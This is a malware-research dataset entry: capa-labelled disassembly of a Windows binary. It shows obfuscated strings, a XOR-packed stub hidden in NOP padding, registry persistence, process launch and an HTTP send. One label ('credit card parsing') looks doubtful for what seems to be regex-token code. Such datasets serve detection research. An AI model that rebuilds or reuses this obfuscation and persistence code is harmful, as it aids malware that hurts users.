joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41230c
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x4124a9
mov edx, 0x10000000
cmp eax, 0x7c
je 0x4124a9
cmp eax, 0x29
jne 0x412345
cmp dword [esi + 0x10], 0
jne 0x4124a9
test dword [esi + 0x50], edx
je 0x4124af
cmp eax, 0x2e
jne 0x412360
push 5
lea ecx, [esi + 0x24]
call fcn.0041258b
mov ecx, esi
call fcn.004122e7
jmp 0x412493
cmp eax, 0x5c
jne 0x4123b5
mov ecx, esi
call fcn.004122e7
test byte [esi + 0x50], 0x80
je 0x4123a9
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x412391
push 4
lea ecx, [esi + 0x24]
call fcn.0041258b
mov ecx, esi
call fcn.004122e7
jmp 0x41249a
cmp eax, 0x42
jne 0x4123a9
push 4
lea ecx, [esi + 0x24]
call fcn.0041258b
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x412385
mov ecx, esi
call fcn.0041309f
jmp 0x412493
cmp eax, 0x5b
jne 0x412415
mov ecx, esi
call fcn.004122e7
lea ecx, [esi + 0x24]
call fcn.00413cf9
cmp dword [esi + 0x4c], 0x5e
jne 0x4123dd
mov eax, dword [esi + 0x28]
mov ecx, esi
xor dword [eax + 8], 1
call fcn.004122e7
test dword [esi + 0x50], 0x20000000
je 0x4123fd
cmp dword [esi + 0x4c], 0x5d
jne 0x4123fd
push 0x5d
lea ecx, [esi + 0x24]
call fcn.00413d45
mov ecx, esi
call fcn.004122e7
mov ecx, esi
call fcn.00413b17
cmp dword [esi + 0x4c], 0x5d
je 0x412354
push 4
jmp 0x4124b1
cmp eax, 0x28
jne 0x412439
mov ecx, esi
call fcn.004122e7
mov ecx, esi
call fcn.00413182
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x4124af
mov ecx, esi
call fcn.004122e7
jmp 0x41248f
cmp eax, 0x5e
jne 0x412445
push 2
jmp 0x41237d
cmp eax, 0x24
jne 0x412451
push 3
jmp 0x41237d
cmp eax, 0x2a
je 0x4124a5
cmp eax, 0x2b
je 0x4124a5
cmp eax, 0x3f
je 0x4124a5
cmp eax, 0x7b
je 0x4124a5
cmp eax, 0x7d
jne 0x41246f
test dword [esi + 0x50], edx
je 0x4124a1
cmp eax, 0x5d
jne 0x412479
test dword [esi + 0x50], edx
je 0x41240e
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.00413338
mov ecx, esi
call fcn.004122e7
mov bl, 1
test bl, bl
je 0x41249a
mov ecx, esi
call fcn.00413274
mov cl, 1
jmp 0x412313
push 6
jmp 0x4124b1
push 0xa
jmp 0x4124b1
pop edi
pop esi
mov al, cl
pop ebx
ret
push 5
call fcn.00411699
int3
Function at 0x41b774
Capabilities:
Encode data using xor

Disassembly:
push 0x30
mov eax, 0x440824
call fcn.004207e7
mov esi, ecx
mov dword [ebp - 0x2c], esi
xor ebx, ebx
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
push edx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], ebx
call fcn.0041bb3d
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
mov ecx, esp
push eax
call fcn.0041bb94
lea ecx, [ebp - 0x38]
call fcn.0041b9ce
pop ecx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
sub eax, ecx
je 0x41b7e5
mov al, byte [ecx + ebx]
lea ecx, [ebp - 0x28]
xor al, 0x23
movzx eax, al
push eax
call fcn.0040edd0
mov eax, dword [ebp - 0x34]
inc ebx
mov ecx, dword [ebp - 0x38]
sub eax, ecx
cmp ebx, eax
jb 0x41b7c7
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov ecx, esi
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0041bb3d
lea ecx, [ebp - 0x38]
call fcn.0041bc02
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffff0
call fcn.00401745
lea ecx, [ebp - 0x28]
call fcn.00406532
mov eax, esi
call fcn.00420791
ret

Function at 0x41c204
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x4408dd
call fcn.004207b3
call fcn.0040133b
push eax
lea ecx, [ebp - 0x10]
call fcn.00402b5c
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
push ebx
lea eax, [ebp - 0x18]
mov dword [ebp - 4], ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call edi
test eax, eax
je 0x41c25f
push 0x44ca18
mov ecx, dword [ebp + 8]
call fcn.00402b0d
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401745
mov eax, dword [ebp + 8]
jmp 0x41c2e5
cmp dword [ebp - 0x18], 1
push 2
pop edx
je 0x41c26d
cmp dword [ebp - 0x18], edx
jne 0x41c23f
mov eax, dword [ebp - 0x14]
xor ecx, ecx
shr eax, 1
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00420696
mov esi, eax
pop ecx
test esi, esi
je 0x41c23f
push dword [ebp - 0x14]
push ebx
push esi
call fcn.00421f80
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call edi
push esi
test eax, eax
je 0x41c2b9
call fcn.00420142
mov dword [esp], 0x44ca18
jmp 0x41c244
lea ecx, [ebp - 0x10]
call fcn.00402ac8
push esi
call fcn.00420142
mov edi, dword [ebp - 0x10]
pop ecx
lea ecx, [edi - 0x10]
call fcn.00406893
mov esi, dword [ebp + 8]
lea ecx, [edi - 0x10]
add eax, 0x10
mov dword [esi], eax
call fcn.00401745
mov eax, esi
call fcn.0042077c
ret 0xc
Function at 0x41c2ed
Capabilities:
Query or enumerate registry value

Disassembly:
push 8
mov eax, 0x440900
call fcn.004207b3
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
test eax, eax
jne 0x41c3b2
cmp dword [ebp - 0x14], 7
jne 0x41c3b2
mov ebx, dword [ebp - 0x10]
xor ecx, ecx
shr ebx, 1
push 2
pop edx
mov eax, ebx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00420696
mov esi, eax
pop ecx
test esi, esi
je 0x41c3b2
push dword [ebp - 0x10]
push 0
push esi
call fcn.00421f80
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push esi
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
test eax, eax
jne 0x41c3ab
xor edi, edi
test ebx, ebx
je 0x41c3ab
lea eax, [esi + edi*2]
push eax
lea ecx, [ebp + 0xc]
call fcn.00402b0d
and dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
cmp dword [eax - 0xc], 0
je 0x41c395
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041dabc
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax - 0xc]
or dword [ebp - 4], 0xffffffff
inc ecx
add edi, ecx
lea ecx, [eax - 0x10]
call fcn.00401745
cmp edi, ebx
jl 0x41c370
push esi
call fcn.00420142
pop ecx
call fcn.0042077c
ret 0xc
Function at 0x41c9c7
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor ebx, ebx
lea ecx, [ebp - 0xc]
push edi
push ebx
mov edx, 0x44fa90
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call fcn.0041b686
pop ecx
push ebx
lea ecx, [ebp - 8]
push ecx
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push dword [eax]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
mov eax, dword [ebp - 0xc]
lea ecx, [eax - 0x10]
call fcn.00401745
test esi, esi
je 0x41ca1a
xor al, al
jmp 0x41cb7b
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push ebx
push eax
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push dword [edi]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41cb70
push ebx
mov edx, 0x44e1a4
lea ecx, [ebp + 8]
call fcn.0041b686
mov edx, dword [edi + 4]
pop ecx
mov ecx, eax
mov eax, dword [edx - 0xc]
lea eax, [eax*2 + 2]
push eax
push edx
push 1
push ebx
push dword [ecx]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp + 8]
mov ebx, eax
neg ebx
sbb bl, bl
lea ecx, [ecx - 0x10]
inc bl
call fcn.00401745
xor esi, esi
lea ecx, [ebp - 0xc]
push esi
mov edx, 0x44fb40
call fcn.0041b686
mov edx, dword [edi + 8]
pop ecx
mov ecx, eax
mov eax, dword [edx - 0xc]
lea eax, [eax*2 + 2]
push eax
push edx
push 1
push esi
push dword [ecx]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0xc]
neg eax
sbb al, al
inc al
and al, bl
lea ecx, [ecx - 0x10]
mov dword [ebp + 8], eax
call fcn.00401745
mov eax, dword [edi + 0xc]
cmp dword [eax - 0xc], esi
je 0x41cb17
push esi
mov edx, 0x44fb4c
lea ecx, [ebp - 0xc]
call fcn.0041b686
pop ecx
mov ecx, dword [edi + 0xc]
mov edx, eax
mov eax, dword [ecx - 0xc]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push esi
push dword [edx]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, dword [ebp + 8]
xor edx, edx
movzx ecx, bl
test eax, eax
cmove edx, ecx
mov ecx, dword [ebp - 0xc]
mov bl, dl
lea ecx, [ecx - 0x10]
call fcn.00401745
jmp 0x41cb1a
mov ebx, dword [ebp + 8]
mov eax, dword [edi + 0x10]
cmp dword [eax - 0xc], esi
je 0x41cb67
push esi
mov edx, 0x44fb70
lea ecx, [ebp + 8]
call fcn.0041b686
pop ecx
mov ecx, dword [edi + 0x10]
mov edx, eax
mov eax, dword [ecx - 0xc]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push esi
push dword [edx]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor edx, edx
movzx ecx, bl
test eax, eax
cmove edx, ecx
mov ecx, dword [ebp + 8]
mov bl, dl
lea ecx, [ecx - 0x10]
call fcn.00401745
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x41d107
Capabilities:
Set registry value

Disassembly:
push 0x10
mov eax, 0x440b4b
call fcn.004207b3
mov dword [ebp - 0x18], ecx
xor ebx, ebx
lea ecx, [ebp - 0x14]
push ebx
mov edx, 0x44fa90
mov dword [ebp - 0x10], ebx
call fcn.0041b686
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push 0x2001f
push ebx
push dword [eax]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 0x14]
mov esi, eax
add ecx, 0xfffffff0
call fcn.00401745
test esi, esi
je 0x41d15a
xor eax, eax
inc eax
jmp 0x41d1e8
push ebx
mov edx, 0x44fb1c
lea ecx, [ebp - 0x14]
call fcn.0041b686
pop ecx
mov edi, eax
mov dword [ebp - 4], ebx
mov esi, dword [ebp + 8]
mov ecx, dword [esi]
cmp dword [ecx - 4], 1
mov ebx, dword [ecx - 0xc]
jle 0x41d184
push ebx
mov ecx, esi
call fcn.00402e36
lea eax, [ebx*2 + 2]
xor ebx, ebx
push eax
push dword [esi]
inc ebx
push ebx
push 0
push dword [edi]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401745
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
mov edx, 0x44fd78
lea ecx, [ebp + 8]
call fcn.0041b686
pop ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 4], ebx
push dword [eax]
call fcn.0041d8d4
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401745
xor eax, eax
test esi, esi
setne al
call fcn.0042077c
ret 4
Function at 0x41d8d4
Capabilities:
Delete registry value

Disassembly:
push 0x20
mov eax, 0x440c63
call fcn.004207b3
mov edi, ecx
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
mov edx, 0x450108
call fcn.0041b686
pop ecx
mov esi, eax
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x18]
mov edx, dword [edi]
mov ecx, edi
push eax
call dword [edx + 8]
push dword [esi]
push dword [eax]
call fcn.00410820
mov ecx, dword [ebp - 0x18]
mov esi, eax
add ecx, 0xfffffff0
call fcn.00401745
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.00401745
test esi, esi
js 0x41d9cc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push 0xf003f
push ebx
push dword [ebp + 8]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41d9cc
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov esi, 0x45011c
mov dword [ebp - 4], 1
push ebx
mov edx, esi
lea ecx, [ebp + 8]
call fcn.0041b686
pop ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
push ecx
push dword [eax]
push dword [ebp - 0x14]
call fcn.0041c2ed
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401745
cmp dword [ebp - 0x28], ebx
je 0x41d9bb
push ebx
mov edx, esi
lea ecx, [ebp + 8]
call fcn.0041b686
pop ecx
push dword [eax]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401745
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x2c]
call fcn.0041dc02
call fcn.0042077c
ret 4

Function at 0x41dd67
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0x41c
mov eax, 0x440cc6
call fcn.004207e7
mov esi, 0x208
lea eax, [ebp - 0x218]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.00421f80
add esp, 0xc
lea eax, [ebp - 0x218]
mov edi, 0x103
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x41de6f
cmp eax, 0x104
jae 0x41de6f
call fcn.0040133b
push eax
lea ecx, [ebp - 0x428]
call fcn.00402b5c
push ebx
mov edx, str.DEADZWxxAwxvAwYGdQNqbQMLEg8SDxITCgNnbANHRk8DDGUDAQYSAQMdHQNtdm8DBQNzam1kAxINEg0SDRIDDk0DEgMOVAMSExMTAx0DbXZvAwUDamUDbWx3A2Z7anB3AwEGEgEDZntqdw
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x424]
call fcn.0041b686
pop ecx
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 3
push ecx
push dword [eax]
lea eax, [ebp - 0x428]
push eax
call fcn.0041e397
mov byte [ebp - 4], bl
add esp, 0xc
mov ecx, dword [ebp - 0x424]
lea ecx, [ecx - 0x10]
call fcn.00401745
push esi
lea eax, [ebp - 0x420]
push ebx
push eax
call fcn.00421f80
add esp, 0xc
lea ecx, [ebp - 0x424]
mov edx, 0x45028c
push ebx
call fcn.0041b686
pop ecx
push edi
lea ecx, [ebp - 0x420]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, dword [ebp - 0x424]
mov esi, eax
add ecx, 0xfffffff0
call fcn.00401745
test esi, esi
mov esi, dword [ebp - 0x428]
je 0x41de67
push ebx
push ebx
push esi
lea eax, [ebp - 0x420]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esi - 0x10]
call fcn.00401745
call fcn.00420791
ret
Function at 0x41de75
Capabilities:
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440cf9
mov eax, dword fs:[0]
push eax
mov eax, 0x20f4
call fcn.00420ed0
mov eax, dword [0x45706c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov ebx, 0x104a
xor eax, eax
push ebx
push eax
lea eax, [ebp - 0x1060]
push eax
call fcn.00421f80
add esp, 0xc
lea eax, [ebp - 0x20b0]
push ebx
push 0
push eax
call fcn.00421f80
add esp, 0xc
lea eax, [ebp - 0x20fc]
push 0x3c
pop ebx
push ebx
push 0
push eax
call fcn.00421f80
mov ecx, 0x824
mov dword [ebp - 0x20fc], ebx
lea eax, [ebp - 0x1060]
mov dword [ebp - 0x20e8], ecx
mov dword [ebp - 0x20cc], ecx
add esp, 0xc
mov ecx, esi
mov dword [ebp - 0x20ec], eax
lea eax, [ebp - 0x20b0]
xor ebx, ebx
mov dword [ebp - 0x20d0], eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x41df20
lea eax, [ebp - 0x20fc]
sub ecx, edx
push eax
push ebx
sar ecx, 1
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x41e02f
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x20c0], eax
test eax, eax
je 0x41e02f
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x20e4]
lea ecx, [ebp - 0x1060]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x20b4], eax
test eax, eax
je 0x41e027
mov ecx, 0x1bb
mov eax, 0x84c0f300
cmp word [ebp - 0x20e4], cx
mov edi, 0x8440f300
mov edx, 0x4502a8
lea ecx, [ebp - 0x20bc]
cmove edi, eax
xor eax, eax
push eax
call fcn.0041b686
pop ecx
mov esi, eax
xor eax, eax
lea ecx, [ebp - 0x20b8]
push eax
mov edx, 0x4502c4
mov dword [ebp - 4], eax
call fcn.0041b686
pop ecx
xor ecx, ecx
push ecx
push edi
push ecx
push ecx
push dword [esi]
mov esi, dword [ebp - 0x20b4]
lea ecx, [ebp - 0x20b0]
push ecx
push dword [eax]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ecx, dword [ebp - 0x20b8]
mov edi, eax
add ecx, 0xfffffff0
call fcn.00401745
mov ecx, dword [ebp - 0x20bc]
add ecx, 0xfffffff0
call fcn.00401745
test edi, edi
je 0x41e024
xor eax, eax
push eax
push eax
push eax
push eax
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push edi
call ebx
push esi
call ebx
push dword [ebp - 0x20c0]
call ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fc33
mov esp, ebp
pop ebp
ret
Function at 0x41e04b
Capabilities:
Get common file path

Disassembly:
push 0x234
mov eax, 0x440d43
call fcn.004207e7
mov esi, ecx
mov dword [ebp - 0x234], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x44ca18
mov dword [ebp - 0x240], esi
mov dword [ebp - 0x238], ebx
call fcn.00402b0d
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x23c]
push ebx
mov edx, str.UEtGT08QEQ1HT08
mov dword [ebp - 0x238], 1
call fcn.0041b686
pop ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [ebp - 0x23c]
mov edi, eax
add ecx, 0xfffffff0
call fcn.00401745
test edi, edi
je 0x41e148
push ecx
mov edx, str.cGtkRldoTUxUTWVMT0dGUXNCV0s
mov dword [ebp - 0x230], ebx
lea ecx, [ebp - 0x234]
call fcn.0041b774
pop ecx
push dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x234]
mov edi, eax
add ecx, 0xfffffff0
call fcn.00401745
test edi, edi
je 0x41e148
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0x3eb685db
push eax
push ebx
push ebx
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x228], 0x4cf665f9
push eax
mov dword [ebp - 0x224], 0xefe33aa0
mov dword [ebp - 0x220], 0x3d9f7265
call edi
test eax, eax
js 0x41e148
push dword [ebp - 0x230]
mov ecx, esi
call fcn.00402ac8
push dword [ebp - 0x230]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [esi]
cmp dword [eax - 0xc], ebx
jne 0x41e189
push 0x208
lea eax, [ebp - 0x21c]
push ebx
push eax
call fcn.00421f80
add esp, 0xc
lea eax, [ebp - 0x21c]
push eax
push 1
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x41e189
lea eax, [ebp - 0x21c]
mov ecx, esi
push eax
call fcn.00402ac8
mov eax, esi
call fcn.00420791
ret
Function at 0x41e191
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x20
mov eax, 0x440d83
call fcn.004207b3
mov eax, edx
mov dword [ebp - 0x2c], eax
mov esi, ecx
push 0x44ca18
mov ecx, eax
call fcn.00402ac8
push 0xf0000000
push 1
push str.Microsoft_Base_Cryptographic_Provider_v1.0
xor ebx, ebx
lea eax, [ebp - 0x14]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x41e1d4
xor al, al
jmp 0x41e333
mov esi, dword [esi]
call fcn.0040133b
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402b5c
push esi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], ebx
call fcn.0041bc69
test al, al
jne 0x41e1fd
push esi
lea ecx, [ebp - 0x1c]
call fcn.0041e339
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 1
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov edi, dword [ebp - 0x1c]
test eax, eax
je 0x41e28b
push ebx
push dword [edi - 0xc]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x41e27c
push 4
pop ecx
push ebx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], ecx
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x41e27c
push dword [ebp - 0x18]
call fcn.00426d7b
mov esi, eax
mov dword [ebp - 0x24], esi
pop ecx
test esi, esi
je 0x41e27c
push ebx
lea eax, [ebp - 0x18]
push eax
push esi
push 2
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x41e2a4
push esi
call fcn.0042520a
pop ecx
cmp dword [ebp - 0x10], 0
je 0x41e28b
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 0x14], 0
je 0x41e329
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x41e329
cmp dword [ebp - 0x18], 0
mov dword [ebp - 0x20], ebx
jbe 0x41e301
mov edi, dword [ebp - 0x24]
call fcn.0040133b
push eax
lea ecx, [ebp - 0x20]
call fcn.00402b5c
mov byte [ebp - 4], 2
movzx eax, byte [ebx + edi]
push eax
lea eax, [ebp - 0x20]
push str._2.2x
push eax
call fcn.00402eae
mov esi, dword [ebp - 0x20]
add esp, 0xc
mov ecx, dword [ebp - 0x2c]
push dword [esi - 0xc]
push esi
call fcn.0041d9d4
lea ecx, [esi - 0x10]
mov byte [ebp - 4], 1
call fcn.00401745
inc ebx
cmp ebx, dword [ebp - 0x18]
jb 0x41e2b0
mov edi, dword [ebp - 0x1c]
xor ebx, ebx
mov esi, dword [ebp - 0x24]
push esi
call fcn.0042520a
cmp dword [ebp - 0x10], 0
pop ecx
je 0x41e317
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 0x14], 0
je 0x41e327
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov bl, 1
lea ecx, [edi - 0x10]
call fcn.00401745
mov al, bl
call fcn.0042077c
ret
Function at 0x42068c
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x455008
call fcn.00420cc0
push 1
call fcn.0041ff1d
pop ecx
test al, al
jne 0x420543
push 7
call fcn.00420968
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0041fee8
mov byte [ebp - 0x24], al
mov eax, dword [0x458fd0]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x42053c
test eax, eax
jne 0x4205ad
mov dword [0x458fd0], ecx
push 0x441468
push 0x441444
call fcn.0042edb4
pop ecx
pop ecx
test eax, eax
je 0x420590
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x420686
push 0x441440
push 0x441408
call fcn.0042ed58
pop ecx
pop ecx
mov dword [0x458fd0], 2
jmp 0x4205b2
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0042008a
pop ecx
call fcn.00420e69
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4205e2
push esi
call fcn.00420000
pop ecx
test al, al
je 0x4205e2
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00420776
call esi
call fcn.00420e6f
mov esi, eax
cmp dword [esi], edi
je 0x420600
push esi
call fcn.00420000
pop ecx
test al, al
je 0x420600
push dword [esi]
call fcn.0042e0f7
pop ecx
call fcn.00420a84
movzx eax, ax
push eax
call fcn.0042ed12
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.0042e006
test al, al
jne 0x42062b
push esi
call fcn.0042e12f
test bl, bl
jne 0x420634
call fcn.0042e0d2
push edi
push 1
call fcn.004200a7
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x420686
call fcn.00420d06
ret
call fcn.00420dba
jmp 0x420524

Function at 0x423e43
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x443a8c
push 0x443a84
push 0x442660
push 0
call fcn.00423dc3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423e75
push dword [ebp + 8]
mov ecx, esi
call fcn.00420776
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x423eb7
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x443a9c
push 0x443a94
push 0x442674
push 2
call fcn.00423dc3
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x423ee8
mov ecx, esi
call fcn.00420776
call esi
jmp 0x423eee
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x423ef1
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x443aa4
push 0x443a9c
push 0x442680
push 3
call fcn.00423dc3
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x423f25
mov ecx, esi
call fcn.00420776
call esi
jmp 0x423f2b
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x747e31f9
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
